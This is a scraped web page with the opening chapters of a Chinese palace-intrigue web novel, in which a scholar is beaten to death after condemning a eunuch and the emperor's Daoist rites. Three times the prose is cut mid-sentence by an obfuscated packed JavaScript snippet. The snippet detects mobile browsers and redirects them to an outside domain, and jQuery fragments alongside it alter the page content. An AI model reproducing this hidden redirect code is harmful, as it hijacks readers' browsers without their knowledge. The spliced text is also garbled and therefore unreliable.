《一不小心灭国后的我靠挖野菜复国》
1. 第 1 章
斋礁结束,启程回府,陶王世子傅谊的脑中仍回荡着皇上怒斥齐涵虚触犯天威的声音。
他惊魂不定地瞥了一眼傅谙,发觉太子哥哥的脸色同样也很不好,甚至比往常犯腿疾的时候还要苍白上几分。
一想到今晨自己还不知天高地厚,竟萌生出逃掉斋礁的念头,傅谊被吓得冷汗都快淌下来了。
虽说今日是二月初二,余寒犹厉,冻风时作。
可傅谊却觉得这车厢里燥热无比,实在令人喘不过气来。
此时他只能暗暗祈祷太子身边那个小宦官跑得足够快,能在锦衣卫施刑前赶紧知会监刑官一声,好让齐学士挺过这二十杖,少受些皮肉之苦。
齐涵虚那整就一不要命的架势,傅谊仍历历在目。
那人慷慨激昂、义正辞严,公然在斋礁上替西北百姓喊冤的情景,傅谊尚心有余悸。
先前他可万万没料到会发生此事。
彼时他还对着大臣们头上由鲜花与兰草编织而成的香冠瞅了半天,嗤之以鼻。
傅谊也没觉得这玩意儿和自己府上的花花草草有什么区别,都是一样的清香,谈不上什么暗合屈子《九歌》之意。
他倒是很想把自己头上的那顶拿下来瞧瞧,但碍于与太子哥哥承诺的绝不胡闹的约定,还是忍住了,只偷瞄几眼。
他心中觉得很是无趣,就盯着这群老头子们发呆。
尤其是内阁那几位阁臣,头上戴着鲜艳的香冠毕恭毕敬,可各个脸上却是神色各异,着实让傅谊忍俊不禁,嘴角微微咧出一个弧度。
可下一刻,他就瞧见了旁边的母妃十分冷淡地扫了他一眼,其中警告之意不言而喻,吓得傅谊连忙调整好了神色,正襟危站。
此次斋礁,乃皇上为西北求雨而设。
靖安帝尚道教,平日里甚少理会朝事,醉心于老庄之学,一心得道成仙。
如今更是大肆宠信太监赵除佞,内阁票拟皆交由此人批红。
而今日为斋礁做法之人,便是赵除佞找了大半年的蓝道长——蓝通玄。
不愧是首席秉笔太监特请出山的,这排场,确实不同凡响。
在十几个小道童簇拥下,蓝通玄他携着拂尘,悠悠飘到了祭坛上,宽大的道袍被风吹得哗哗作响,仿佛下一秒就要羽化而登仙。
“贫道蓝通玄,拜见九天弘教普济生灵掌阴阳功过大道思仁紫极仙翁一阳真人元虚玄应开化伏魔忠孝帝君【1】。”
蓝通玄一边躬身,一边示意捧着锦匣的小童走上前来。
他小心接过,将拂尘递给小童,随后又把盒盖打开,露出满满一盒丹药,双手恭恭敬敬将其奉到皇帝面前。
“贫道承蒙皇上圣恩,故而特意炼制了几枚丹药,希望能对圣上的修行有所益处。愿陛下早日得道成仙,吾皇万岁万岁万万岁。”
他向皇上跪拜,大声地喊起了“万岁”。
底下的群臣也跟着喊,哗哗又是跪倒了一大片,傅谊也不得不跪下来附和。
天知道,刚才他听到皇上那长长一串的道号时脑子里有多晕。
别的不说,全京城怕是没几人能把皇上自个取的道号给顺顺溜溜地全背出来。
就算是那几位经常写青词的大臣们也不行。
他们也不见得会在青藤纸上把这东西完完整整地给抄一遍,反正傅谊是从未听过有这回事的。
弯弯绕绕了一大圈,蓝道长为西北求雨祈福的法事也做完了,终于接过密封的青词,准备开始念了。
依靖安帝所言,大臣们写的青词都需密封上呈,不到规定时辰开启,无人知晓里头究竟写了什么。
在蓝通玄拆信封的时候,傅谊还是没按捺得住,趁着无人在意,悄悄地歪了歪脑袋,想瞧一瞧齐涵虚长何样子。
他不关心此人写的青词有多漂亮,反倒很好奇这位被皇上特意钦点指派撰写青词之人究竟是谁。
可无奈齐涵虚的官职不高,站得太后面了,傅谊根本瞧不见。
据太子哥哥所说,齐涵虚正是先太傅云离的得意门生。
他文笔极佳,可脾气却相当执拗,刚正不阿。既不肯攀炎附势,也不愿投人所好。
所以素来齐学士虽负责草拟典礼文稿,却从不愿写青词。
此次正是有大臣为提拔他,拿了他的文章向皇上举荐。
靖安帝一听,自是喜出望外,故而特命他负责撰写今日的斋礁青词。
可太子傅谙怕就怕此人太过正直,写了什么不得了的东西,一不小心扫了靖安帝的兴致,到时候就连他也保不了这人。
不过还好,兴许是朝中有人劝了劝齐涵虚。
此次青词,他写得中规中矩,跟往日里那些犀利的言辞比起来,还算是收敛了些。
只不过最后几句,终究还是图穷匕见。
傅谊左思右想,感觉听着着实不太像祝词。
他偷偷瞄了一眼傅谙的反应,果不其然,太子的脸色并不太好,嘴早已抿成了一条直线,神色很是严肃。
底下群臣更是直接议论开来,全都凑在一块窃窃低语,惊魂不定地观察着皇上的反应。
傅谊抬头望去,却发现皇上的神色一如既往的平静,并未因这突兀的后两联激起什么反应。
反倒是身后的赵除佞面色有异,眼神阴鸷。
皇上不动,群臣也不敢动,一时间也没人敢站出来指责齐涵虚,全都等着皇上发话。
过了良久,众人才听见皇上出声,语气平静,听不出喜怒。
“久闻齐爱卿文采出众,今日一见,果真如此。”
靖安帝从蓝道长手中拿过青词,目光一直不曾从上面离开。
“臣多谢皇上谬赞!”
齐涵虚本人倒是丝毫不惧,大大方方地朝皇上行礼致谢,也不管旁人如何议论,俨然不动。
“朕观齐爱卿最后两联,写得甚是好啊。此四句,想象奇谲,辞采诡丽,实为上品,不知可否展开来,细细一说?”
“臣遵旨,”齐涵虚拱了拱手,愣是不顾同僚劝阻的眼神,一口应下。
他声音洪亮,目光如炬,说出来的话语亦可谓是振聋发聩,
“臣听闻皇上为布
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505079|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此斋礁,特请蓝道长出山主持,是因留都金陵上空,有股黑气直冲斗牛,盘踞于太祖孝陵之上,经久不散。尔后西北大旱,百姓无甚存粮可以过冬,于是路有饿殍,遍布饥寒,此番场景,着实让臣心痛不已。”
“因遥想唐朝都城长安的一次时疫也是如此,朱门酒肉臭,豪右却不闻不问路边的冻死骨!故臣有感而发,而道家有‘重人贵生’这一说,《太平经》中更是常言“重生”“乐生”二词,认为天地之间‘人命最重’‘寿为最善’。只可惜那些寒士书生,尚未来得及享尽荣华富贵就如此死去,着实不公。”
“臣知陛下素来爱民如子,定不会让这些可怜人的尸骨被掩埋在荒草丛之中!还请皇上开国库,赈灾民,严惩贪官奸佞,万万不可让这些人误了国啊!”
齐涵虚一语毕,靖安帝久久没有回应。
也不知众人的冷汗流了几轮,皇上终于发话了:
“齐爱卿此言有理,着实费了一番心思。待此次斋礁结束,朕定会召开内阁会议,好好商讨商讨。
“不过,既然爱卿的青词中有这么一句”绿章封事咨元父“,朕倒是有一件事想要问问上苍了。赵除佞——拿纸笔来。”
“是。”
这下所有人皆怔然,不知道皇上这唱的是哪出,只得眼睁睁地望着赵除佞拿了朱砂毛笔和青藤纸过去。
靖安帝背过身去,大笔一挥,写完就交给了蓝通玄密封转呈。
众人皆不知这其中问的是什么,只待蓝通玄将天上神仙的回答公之于众。
傅谊屏住呼吸,注视着台上一幕。
只见写有问题的青藤纸被当众焚烧后,蓝道长闭眼掐诀了一阵,须臾,在沙盘上缓缓写下几个字:
奸人当道,贤者不用!
傅谊悚然,慌忙侧头看向傅谙。
同时,傅谙的脸色也煞白一片,目光正死死盯着沙盘上的字。
见了这个回答,傅谊大差不差也猜出皇上问的是什么了。
安邦定国这般大事,皇上竟真向上天询问该如何治国?
似心中还有所困惑,靖安帝接着又写下了第二个问题。
同第一个问题一般,神仙借由蓝道长之手再次回答了:
奸人如齐涵虚,贤者如赵除佞!
靖安帝还未作何反应,旁边的赵除佞却是“噗通”一声跪了下来,颤颤巍巍地向着皇上磕头谢罪,说自己不过一个阉人,不知何德何能会被神仙这般称赞。
傅谊已经不忍再去看接下来的后续。
他闭上眼,等待着皇上对齐涵虚的发落。
“你先起来,”靖安帝的声音淡淡的,听不出有什么感情,“朕既赐你名赵除佞,那你便合该驱除一切奸佞小人。更何况先前朕已将你提拔为司礼监秉笔太监。上天既已如此回答,就更说明朕的眼光没有错。”
“齐涵虚此人言辞冒犯上天,惹得神仙发怒,理应判处死罪。可朕念其为西北百姓的一片赤诚,故酌情减罪,改为罚廷杖二十棍。回宫即刻执行,别在这扰了神仙的清净。”
“是,老奴知道了。”
2. 第 2 章
京城里下起了淅淅沥沥的雨点。
傅谊下了车后才发现,此时天色渐黑,乌云压境,隐隐有了几分黑云压城城欲摧之势。
他的心情也一如这天气般沉重。
他原先是打算跟着太子哥哥去往京郊的温泉别院,然而齐涵虚的事一出,二人直接没了那心思。
于是傅谊想了想,暂且跟着傅谙先回了东宫。
他知晓皇上此举实在太令人匪夷所思,太子哥哥心中一定不好受。
傅谙本执意要站在门口,望眼欲穿,翘首以盼小宦官从宫中递过来的消息。
还是傅谊怕外头凉气太甚,引得他腿疾再犯,便强硬地把傅谙拉进书斋里候着,以免寒意入骨。
二人相对而坐,静默无言。
该做的事都已竭力去做了,剩下的,他们也无能为力。
不怪傅谊和傅安束手无策,着实是眼前局势确实复杂。
太子傅谙自幼患有腿疾,近几月来发作得越来越频繁,隐有跛足之危。
大臣们对此颇有微词,有不少人向靖安帝上书奏请废太子,说是储君不可不良于行,否则讲有损琝朝气运。
但靖安帝子嗣不丰,先前嫔妃所生皇子,不是早夭就是病逝,膝下暂且只有太子一人,自是从未理会过这些奏书。
而傅谊之父陶王,是为皇上的胞弟。
兄弟俩感情深厚,直至陶王及冠,都未曾离开京城前往封地。
然陶王不幸染病早逝,仅留陶王妃岳澜语亲自抚育傅谊与一庶子傅谦。
故而上至皇上太子和陶王妃,下至傅谊的舅父礼部右侍郎岳渊峙和舅母定远大将军昆玉霜,都对傅谊怜之爱之宠之。
傅谊身为陶王世子,可谓是想怎么胡来就怎么胡来,反正有人给他兜底。
不过傅谊也不是对朝局半点儿不知道的傻子。
如今舅母被圣上从蜀中上将提拔为定远大将军,一是皇上为抚慰昆氏全族战死而赐的殊荣,二是昆将军的孩子岳棠棣年岁渐长,到了读书的年纪。
她若一直在外征战,也不方便照料幼子,是故靖安帝便下了一道圣旨,让她留在京中好生修养。
所以陶王妃常警告傅谊,有事自己背,不要老想着让舅父舅母给他擦屁股,且多次叮咛他让他远离朝堂纷争,爱上哪玩上哪玩去,不要把身边人拖下水。
眼下岳渊峙和昆玉霜官运亨通,又与陶王府是姻戚关系,一举一动都有人盯着,就等着来捉他们纰漏。
自此某种意义上而言,傅谊和傅安的处境都容不得他们有太多动作。
两人只能心烦意乱地坐在书房里,无计可施。
傅谊坐在临窗一侧,抬眼望向窗外,不由发呆。
他忽而觉得今晨自己为逃斋礁,在茶楼里听到市井百姓所说的颇有几分道理了。
那些人一会说先太子太傅,也就是如今在金陵大报恩寺出家的那位何住先生,之前寓居鹫峰寺时曾看见太祖陵寝——孝陵之上,有一股黑气冲入斗牛,百日有余,是不详之兆。
一会又说圣上修玄,移居丹宫,潜心问道不理朝政已有数年,导致如今权阉当道,着实荒唐。
总之绕来绕去,绕不过斋礁这事,大部分人都对其极其不满。
如此看来,他们确实是未卜先知了,更荒唐的事还在后面呢。
傅谊当时还觉得那些人对朝堂之事一知半解,是在胡说八道。
云离先生可没出家,他还有一个儿子,带在身边常年修行着。
齐涵虚的事,恐怕牵一发而动全身,他要不要写信告知先生?
待傅谊回过神来,这雨势反倒是愈来愈大,愈来愈急,如同被急扯下来四处乱溅的跳珠一般乱蹿。
甚至有几颗还气势汹汹地砸进了傅谊的眼里,吓了他一大跳,气得傅谊那叫一个怒火攻心,起身想把窗牖关上。
他余光一瞥,却是瞥到了摆在墙角的一株梅花,不由皱眉。
他在心中衡量了半天,想了想,终是开口问道:
“福安哥哥,这盆梅花你是从哪里得来的,先前我怎没见过?”
“前两日应天府尹进京述职,差人送来的。怎么,是喜欢这盆梅吗?要不我让人把它送到你府上吧,我记得你一向是最喜欢摆弄这些花花草草的。”
傅谙不解他为何突然问起这个,只当是傅谊又瞧上这新奇玩意儿了,挥了挥手准备喊人进来抬。
“不知,福安哥哥可知这是何物吗?此乃病梅,于江浙一带最为风靡。”
“病梅?阿谊何故出此言?人们常说,梅以曲为美,直则无姿;以欹为美,正则无景;以疏为美,密则无态,我观这梅,不是挺好看的吗?【1】”
“想必太子哥哥是不知晓它的来历。我在茶楼里曾听闻,江浙一带文人素来追捧此物,于是将孤癖之隐明告鬻梅者,斫其正,养其旁条,删其密,夭其稚枝,锄其直,遏其生气,方乃至此。”
“于是江浙之梅皆病,文人画士之祸之烈至此哉!”
“……”
“兴许他也不是故意的吧,只是见这梅好看,就送来了……”
“真是气死我了,这人着实愚蠢!明知福安哥哥你患有腿疾,却还要送这病梅来给你添堵,他居心何在?!”
傅谊越想越气,一时口不择言。
然而讲着讲着,他发现傅谙的脸色有些不对劲,这才猛然发觉是自己讲错了话,顿时懊悔不已,连忙改口以防太子哥哥多想,
“我向来是憎恶这些文人墨客的无耻行为,所以福安哥哥,要不你还是将这梅花给我吧?我在府里寻一块地,毁了盆把它给重新埋好,再解其棕缚,任其自由生长。我就不信,养它个十年半载,它还好不全!”
“……如此甚好,有劳阿谊费心了。”
一语毕,傅谙再度陷入沉默。
傅谊不免再次为自己的失言而后悔。
福安哥哥向来对他这么好,自己又怎可在这个时候惹他伤心?
先前他刚被傅谙身边的小宦官带回宫时,是太子哥哥任由着自己躲在其身后,帮他向舅父开脱解释斋醮前跑去茶楼的过失。
在去圜丘的路上,傅谊一路愁眉苦脸地嘟囔着要是娘与他动真格的话怎么办。
他一度怀疑过她这抽人的本事是不是跟舅母学的,不然打在屁股上怎这般疼!
“阿谊多虑了,昆将军待下向来仁厚,从不轻易斥责打骂军士,又怎会教你母妃这个呢?况且岳侍郎也是为你好,毕竟若是真找不着你,不仅是他,昆将军和你母妃都要受到责罚。”
傅谙揉了揉傅谊的头以示安慰,神色很是温和。
“呀,那福安哥哥,此次我是不是真的闯了大祸啊!”
傅谊惊恐不已,摆出一副可怜巴巴的模样。
这一招果然见效。
见此傅谙霎时于心不忍,斟酌着措辞,正思索着要如何出言宽慰傅谊。
不料傅谊倏地又冒出来一句“那我是不是要以死谢罪,才能不让家眷受到牵连?”,着实让他一惊。
“阿谊,不可胡言乱语!”
傅谙吓了一大跳,傅谊却仍旧自顾自地讲了下去,
“如果一定要判我死罪的话,还请太子哥哥去跟陛下求个请,让我选种死法再秋后行刑。”
“听闻柿子和螃蟹一起吃会有毒,那还请太子殿下在我走之前多给我送几斤螃蟹吧。阳澄湖大闸蟹,四两以上毒性最强,这样我也能走得更为安详体面些。”
“……”
太子原是十分紧张的,被傅谊这么一吓,惊得刹那间屏住了气。
可他听着听着,愈发感到不对劲,直至傅谊说完,才发现自己又被这小子耍了,只得拍着胸口缓着气,幽幽感叹:
“……哎阿谊,以后好好讲话,我这腿疾都快被你吓成心疾了。”
见自己的玩笑一下又没把握好度,傅谊慌了神,连忙凑过去给太子拍拍顺顺气,乖乖认错,
“是我不对,这四两大闸蟹我就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505080|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不跟福安哥哥要了,换我秋后给你送来赔罪,如何?你的双腿近日可否好些?前些日子冷,现在还发作吗?”
“还好,没从前发作得那么厉害了。前不久父皇赏了我一处京郊的温泉别院疗养用,效果还不错。待这斋礁结束,你要不要随我过去住住?”
“好!”傅谊欢呼了一声,突然想起上车前舅父警告自己的话,又蔫掉了,
“可我今个儿怕是去不成了,晚上娘定还等着收拾我呢。”
“你啊你——”傅谙无奈地摇了摇头,对自己这个堂弟哭笑不得,想了想之前他那可怜样,终是屈服了。
“罢了,回头待我书信一份给你母妃,就说你这次着实太过顽皮,险些酿成大祸,不如就由本宫暂且先僭越一次,好好教训教训你。”
“罚你——罚你什么好呢,就罚你禁足在我京郊别院,同我一起温习抄书吧,不抄完不许回去。这惩罚,陶王世子可听清楚了?”
“臣明白了。那臣多谢太子殿下开恩!”
傅谊有模有样地向太子行了个礼,对于这个处理,心中自是十分满意的。
虽然这个礼他也只行到一半,中途被傅谙笑着拦住了。
在起身的时候,傅谊忽地想起自己怀里还有包点心,赶紧将它们拿了出来。
“福安哥哥也吃点,这几个我都尝过,味道不错,很是诱人!”
这是他特意给傅谙留的,生怕太子哥哥跟他一样在斋戒的时候被饿着了。
所幸这一路上他护得周全,点心也没怎么压坏,仍热乎着呢。
“确实如此,阿谊有心了。这味道,确实和宫里的不一样。”
傅谙接过,吃了几个点心连声赞叹,顺口问了句是哪家店做的。
“林家茶楼,茶商林老板林凡安名下的,福安哥哥可知道他?”
“原来是他,我倒是听降心公子在信里提过这人。”
“降心公子?这人是谁?”
“云梵,字降心,这么说,你可有印象?”
“哦……姓云,又与福安哥哥熟识,那肯定是先生的儿子了。”
见傅谊一脸泄气的模样,傅谙不由笑了笑,腾出左手捏了捏傅谊的脸,发觉手感是一如既往地不错。
“怎得这马上都十七岁了,一提起先太傅就这般模样,还怕先生板着个脸罚你抄书?”
“不过,降心公子倒是没先云离先生那般严厉,与之交谈倒是令人如沐春风,心生欢喜。先前师母在世时体弱畏寒,常年在金陵养病,降心公子便也与之同去,离开了京城。”
“其实我与他也并无多熟识,只不过往常写信慰问先生的时候,偶尔是他替先生回的信,故而多说了几句罢了。”
“对了,他还特意问了我一句,”
话说着,傅谙瞥了一眼傅谊,见他听得专心致志,一脸紧张,便故意逗他,
“他说,先生很关心陶王世子的功课如何,也不知现如今学得怎么样了,还是别无长进吗?”
“太子哥哥,千万别!你可要替我向先生多美言几句啊!”
这下傅谊是真慌了,别看他平日里天不怕地不怕,可在先太傅未辞官前,他可没少挨罚。
“好了好了不逗你了,”傅谙正了正色,催促着傅谊赶紧把点心吃了。
估摸着时辰,也快到圜丘了。
此后便是二人的闲聊时光。
直至斋醮下车前,二人可谓是兄友弟恭,其乐融融。
傅谊尚还在回忆中,忽闻下人来报,说是宫里来消息了。
太子一听,猛地站起来。
谁料那小宦官跌跌撞撞地跑进书斋,也不顾一身雨水湿透了衣裳。
发丝胡乱的黏在颊边,他却连抹一把脸的功夫都没有。
只见小宦官一下子跪倒在傅谙面前,一边大口喘着气,一边断断续续地上报着:
“太子爷,世子爷……是奴婢去迟了——齐老爷,齐老爷他没能熬得过那二十杖,被打死了!”
3. 第 3 章
见小宦官上气不接下气,话都讲不清,傅谊便亲手为那小宦官递了一盏茶,让他先歇歇,缓会再讲。
小宦官感激地望了他一眼,起身恭敬地接过。
他擦擦脸,理理湿漉漉的衣裳,一口气喝完了茶,定了定神,这才与傅谊和傅谙细细道来。
他本是赶在齐涵虚行刑前到赶到的,奈何刚想去打听今日负责监刑和行刑的是哪两位,却被另外一个宦官给拦下了。
虽说他已早早亮明来自东宫的腰牌,然仍被胡搅蛮缠好一阵子,方才得以抽身。
未料,此时廷杖声已然响起。
那一声声击打在人身上的沉闷声音,让小宦官不寒而栗。
当时他还尚抱有一丝期望,在锦衣卫刚行完刑时,即刻跑到了齐涵虚身边,正欲扶一把。
然而那人早已断了气,死不瞑目。
后来宫中的说法是,监刑官一不小心没看住锦衣卫施刑的力度,以至齐涵虚这才没熬得过那二十棍,死了。
小宦官对那个监刑官有些印象。
那人似乎是赵除佞的义子。
赵除佞得知此事后,火速禀报给皇上,并当场雷厉风行地让圣上处置了那人。
这场斋礁问话的主谋是谁,已经昭然若知了。
傅谊方才如梦初醒。
直至现在,他才搞清早上自己从茶楼赶回皇宫的时候碰见赵除佞拦路,绝非偶然。
亏他还假惺惺地向这老太监道贺升上司礼监秉笔太监的殊荣。
原以为这老家伙是想试探自己有没有偷溜出去玩,毕竟先前总是这人来捉他回去,所以傅谊碰见他的时候并未多想,不料此人却是另有图谋!
难道赵除佞是在怀疑他无意间得知了要拉齐涵虚下马的计划,怕他跑去跟别人通风报信?
所以走之前看自己的眼神才会如此意味深长,颇为探究,还派了义子去拦太子身边的小太监。
真是好计谋啊。
傅谊懊悔之极,眉心紧蹙,从未想过这老太监竟有如此野心。
他先前还只道是这老家伙不好糊弄,以后须得费心敷衍,怪他掉以轻心了。
早知如此,见到赵除佞之后,他就不该觉得逃一场无关紧要的斋礁没什么事儿,还平白惹得身为礼部右侍郎的舅父生气。
虽说之后出了齐涵虚那档子事,他与舅父舅母商量了半天,舅父并未来得及向娘告状,但傅谊还是心有余悸。
圣意难测,怕就怕自己还会因此连累身边的所有人,同他一起连坐遭罪。
另一边,太子正对着方才小宦官跪着的地方出神。
外头风雨晦暝,雨急似箭,电光晃耀,忽上忽下。
那小宦官进来的时候,浑身上下没半点干的。
只不过才跪了一小会儿,衣裳上的水就滴滴答答、争先恐后地淌了下来,洇湿了一大片地。
乍一看,倒像是一摊早已干涸的血迹。
傅谙负手而立,沉默良久,哑声吩咐那人:
“去,去看看齐涵虚还有无家眷吧,你多加打点,好生安置他们。”
之后便喊傅谊与他一同写信给先太傅,知会先生一声齐涵虚的死讯。
傅谊垂着头跟傅谙走到书桌旁。
此事太过沉重,他不知该如何开口,只能默默地为傅谙研了墨摆好纸笔。
他思索着要向先生说的话告之傅谙,另一边思绪却飘到了别的地方。
他记得太子哥哥在马车上跟他说过,离相先生的儿子云降心在信中曾提过林家茶楼的老板林凡安。
是了,既然先生寓居在金陵,而林凡安又一向只在江南待着,兴许先生认识这位林老板?
他好歹也算是林家茶楼的老主顾,可在那喝茶喝了这么多年,竟一点也不知这林凡安究竟是何人。
尤其是今晨他还不想去斋礁,特意跑去茶楼尝尝新进的新货色,没想到掌柜献上来的居然是贡品品质的罗岕茶。
汤色柔白如玉露,芝芬浮荡,确实是极品。
其他人或许不清楚,但傅谊知道此茶曾有这么一段来历:
唐朝御史大夫李栖筠曾有记载,尔时有一和尚,把茶叶进献给时任常州刺史的李老爷,于会客之时让大家品尝。
茶圣品后,认为此茶芳香甘鲜,冠于他境,可向皇帝推荐。
李栖筠听罢,从此将其作为贡茶,每年向朝廷进献万两。
傅谊上一次品着,犹记得还是幼时的一次宫宴上。
只可惜,近来各地时有灾患发生,百姓生活艰难,也就再也进献不起罗岕茶了。
也不知这林老板究竟有何通天的手段,竟能搞到贡品级别的茶叶。
毕竟现如今,琝朝不复从前那般国力强盛,万国来朝。
且靖安帝提拔赵除佞,任凭他打压文官,大幅增加对江南豪绅的商税。
光是前年,浙江一带的茶税就收了四千两,不免引得江南豪商怨声载道。
傅谊这几年来来回回走在这条茶街的路上,也算是在逐渐见证它的衰落。
旁的不说,别家都陆陆续续地关店谢客,单单就这一家茶楼生意越做越大。
傅谊也没得选,只能次次来这喝茶。
又思及自己每次来此处喝茶,都逃不过最终被赵除佞给逮回去的结果,然而这林家茶楼却丝毫不受这点印象,始终屹立不倒。
他还是有点自知知名的。
就自己那点银子,根本就供不起偌大一个茶楼在京城里扎根这么多年,甚至还蒸蒸日上。
所以他总真是好奇这林老板身后,站的究竟是京里哪位大官?
傅谊借此探了探掌柜的口风,好让自己日后能去那位大官的府邸找他,看看能不能给自己通融通融,比如说日后给自己府上多送些好茶叶之类的。
无奈那掌柜的嘴巴实在太牢,愣是凭傅谊怎办旁敲侧听,都无甚结果。
不过现如今,他既已知道先生的儿子曾与太子哥哥主动提起过林凡安,那么他又何尝不能借由先生之手打听打听此人?
若是能争取到林老板身后之人,那么日后他和太子哥哥也不会像现在这般被动,任人摆布了。
他倒是期盼着这林凡安真如旁人所言,由他经手,凡事皆安啊。
傅谊心神一动,正要和傅谙商议此事,未料太子却已写完了一页纸,小心地将纸叠好,塞进信封,思索了一下,竟是直接把信递给傅谊。
“福安哥哥,你这是何意?”
傅谊一惊,不知道这本该火速发往金陵的信件,太子哥哥为何要交予他?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505081|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“阿谊,你先收着吧,我有事要交付与你,此事,只有你做才成。”
傅谊无奈,只得暂且先收了信,郑重其事地放入怀内,还摸了摸边角,确认是否没被压着起折角,这才点头确认。
“太子哥哥说吧,我定会为你做到。”
“先生年纪大了,多年前妻子又病逝,想必他若是知晓自己的得意门生竟会以如此形式陨落,怕是受不住这一则噩耗。这封信,倒不如由你亲自送去吧。”
“是了,那太子哥哥是想让我去金陵宽慰先生吗?那你放心,我很会说话的,此次定不会辜负殿下之所托。”
“如此甚好,那我之后再多写几封信,你就携着它们与应天府尹一同前去,有他照应,我也放心些。无奈我腿疾多有不便,日后恐会不良于行。”
“更何况我身为东宫太子,若是想亲下江南一趟,去看望看望旧日的先生,怕是此生无望……”
傅谙长叹一口气,望着傅谊如今还略显稚嫩的脸庞,于心不忍,可话又不能不说,千般心思,终是只能以一种委婉的形式表达出来,
“阿谊之后,还是需跟着先生多学一些道理才是……你少时贪玩,我不曾指责于你,是因这天下重担不用负于你肩上,你也不必知晓这些。日后,你大可做那闲散藩王,快活逍遥一生,无忧无虑。可依如今的形式,怕是不可以了……”
“太子哥哥,你这是……?”
“阿谊,再过几日,你是否就要满十六了?”
“正是。”
“这样啊……光阴似箭,如今你也长这么大了。那么我要考考你,今日斋醮一事,你怎么看?”
“西北百姓好生可怜,齐涵虚死得真冤!哎,我竟没想到那老太监竟会和那老道联手作弄皇上,可皇上竟真信了……”
“如此,看来阿谊也算拎得清。只是这其中诸事纷乱,是非对错,又岂是一两句能说得过来——先不提这个了,阿谊以后可有甚么打算?”
“打算?”
见太子这话转得颇为生硬,傅谊有点奇怪,只当是他想教导自己,
“不曾计划过,不过如今我倒是想好了一点,那就是尽自己所能除掉这些奸人,扶助良臣上台,一切以百姓为先。日后我也少胡闹些,今日茶楼逃跑一事,我也绝不再犯,当引以为戒。”
“是了,既然已经知晓,那也不能再堵着耳朵装聋作哑,从而违背自己的良心,甚至做出欺辱百姓的举动。你我皆是皇室子孙,是为我琝朝百姓所供养之人,所以你这心中,自然也是要有百姓的一席之地,切不可被他人占了去,纵算是自己的私欲也不可以。”
“臣知道了,臣谨遵太子殿下的教诲,定时刻铭记于心。”
“知道就行,那就先回去吧,天色不早了,还是去跟你母妃好好认个错吧。”
“好的,对不起太子哥哥,是我早上不懂事,差点也连累到你和舅父,我这就回去向他们道歉,甘愿受罚!”
“嗯,去吧,过完了生辰就去金陵拜访一下离相先生吧。齐先生死后,宫中定不会太平,此时正逢多事之秋,易生祸端,阿谊最好还是在金陵先住一阵,免得你也被牵连进来吧。”
“是,那我就跟着先生好好学习一段时日。”
“好,我等着看阿谊的成果。”
4. 第 4 章
那日回去后,傅谊颇为老实。
他难得在进府的时候没东躲西藏,径直去了母妃那,乖乖认错去了。
估计是见他认错态度良好,尚有悔过之心,此次陶王妃倒是没祭出家法,只罚了他一顿禁足加反思,并叮嘱他之后勿要再去管齐涵虚的事。
傅谊初时还有些愤愤不平。
就算还被关着,他一边在园子里挖着坑,将傅谙赠与他的病梅埋入土里,一边也不忘派下人去打探消息。
不料这消息打探得越多,傅谊就越是胆战心惊。
兴许是斋礁的那天风比较大,皇上回宫后就着了凉。
也不知怎的风疾加作,头疼得厉害,身体愈发不适。
但在服用了几枚蓝道长进献的朱丸之后,圣上明显感到神清气爽,于是下旨奖赏蓝道玄,并催促他继续炼药。
然而朝臣认为此举不妥,联合太医院集体反对此事,多次提及齐玄虚在斋礁上的言论,希望皇上能多放些精力在政事上。
靖安帝自是听不进去这话。
遂发下圣谕,言明若有人胆敢阻拦蓝道长进药,就以抗旨欺君论处,下场定比齐涵虚还严重。
皇上的怒火连带着也烧到了太子头上。
因傅谙多次劝阻,靖安帝一道旨意,直接让他出宫去温泉别院好好疗养疗养腿疾,少花些心思在别的事情上。
朝堂之事瞬息万变,且因太子哥哥和母妃的告诫,傅谊这下是彻底老实了。
直至二月初五他的生辰,他都老老实实地待在屋子里,不免引得府内诸多家仆下人们惊异不已。
其实也不尽然。
傅谊完全是结结实实睡了整整两天的觉,忘却前事,养精蓄锐。
初五一早,便又神采奕奕地站在门口,喜气洋洋地接过皇上和太子殿下赏赐的礼物了。
这一日,他过得是一如既往地潇洒快活。
晚上宴席之时,应天府尹也登门拜访,另附上请柬一封,邀他与自己一同前去金陵。
傅谊向来是十分向往江南美景的。
金陵自古帝王州,因太祖孝陵之所在,是为琝朝留都,同京师一般有一套完整的行政班子,其地位自是不同凡响。
六部、督察院、大理寺、通政司、宗人府、翰林院、国子监等有司一个不少,却并无实权,所能管到的仅限于金陵及南直隶地区,无权过问其他地区事务。
究其根本,是因成/祖设立两京时另有打算。
